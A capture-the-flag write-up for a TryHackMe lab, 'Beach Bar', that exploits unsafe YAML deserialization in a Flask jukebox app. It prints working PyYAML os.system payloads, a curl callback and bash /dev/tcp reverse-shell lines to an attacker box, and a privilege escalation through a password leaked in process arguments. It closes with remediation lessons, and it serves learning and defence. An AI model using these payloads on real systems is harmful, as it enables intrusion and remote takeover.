Room: "Beach Bar" · platform: TryHackMe · category: Boot2Root · difficulty: Easy · points: 60
Beach Bar
Briefing (context)
Beach Bar scenario: a jukebox web app where guests can submit song requests, with an import feature for playlists (YAML). Goal: user flag + root flag.
Recon
nmap -sC -sV <TARGET>
- 22/tcp — OpenSSH 9.6p1 (Ubuntu)
- 80/tcp — HTTP, gunicorn → Python/Flask-like stack, redirect to
/login
A full port scan (-p-) turned up nothing extra — no hidden services, no vhosts. All the action is on port 80.
Foothold
- Login screen with active demo credentials (
dj:dj) — a classic example of forgotten dev accounts left in production. - After login: a playlist-import feature that accepts YAML (
/import), with a sample export (playlist.yml) available as a download.
Vulnerability: unsafe YAML deserialization
The import functionality presumably used yaml.load() without SafeLoader, instead of yaml.safe_load(). That makes it possible, via the !!python/object/apply:<module>.<function> tag, to call an arbitrary Python function while parsing the file.
Confirming RCE (harmless command first):
playlist: !!python/object/apply:os.system ["mkdir test"]
The response returned {'playlist': 0} — exit code 0 = successful execution. The return value of os.system() confirmed command execution without me having to open a shell right away.
Confirming the network path with a curl callback (safer than trying a reverse shell directly):
playlist: !!python/object/apply:os.system ["curl http://<ATTACKBOX_IP>:8000/"]
The listener (nc -lvnp 8000) received an incoming HTTP GET request — confirming outbound connectivity before further steps.
Pitfall: dash vs bash
The first reverse-shell attempt failed silently (exit code 512 → divided by 256 = exit status 2), with no connection on the listener:
playlist: !!python/object/apply:os.system ["bash -i >& /dev/tcp/<IP>/4444 0>&1"]
Cause: os.system() internally calls /bin/sh -c "...". On Ubuntu /bin/sh is symlinked to dash, not bash. Dash doesn't know the /dev/tcp/ file-descriptor trick — that's bash-specific. So the command failed before bash even got involved.
Fix: explicitly force bash to interpret the inner command:
playlist: !!python/object/apply:os.system ['bash -c "bash -i >& /dev/tcp/<IP>/8000 0>&1"']
Worked immediately — reverse shell in as user bartender.
Stabilizing the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Privilege Escalation
sudo -l asked for a password that wasn't known. Enumerating running processes gave the key:
ps aux | grep jukebox
root ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass <PASSWORD> --bitrate 320k
Core problem: the jukeboxd daemon ran as root, with a password as a command-line argument. The command-line arguments of any process are visible to all local users via /proc/<pid>/cmdline or simply ps aux — this is not a secret, regardless of file permissions on a config file.
The leaked password turned out to be reused as root's own password:
su root
Password: <PASSWORD>
→ root shell, root.txt read.
Root cause summary
- Unsafe deserialization (
yaml.loadinstead ofsafe_load) — user input straight into a parser that can execute code. - Secrets in process arguments — never pass passwords as a CLI flag; use environment variables or a config file with restricted read permissions (
chmod 600, owner-only). - Password reuse between the service account and root — a leaked service password gave direct root access.
Lessons for my own homelab/DORA context
- Input validation on deserialization: relevant for any internal tool that accepts YAML/JSON/pickle from users — aligns with DORA's emphasis on secure SDLC controls.
- No secrets in process lists: an auditor would flag this immediately as a finding — easy to demonstrate as an example in a security-awareness session at work.
- Password reuse between service and system accounts: a classic lateral-movement vector, also relevant for NIS2-scope discussions about account segregation.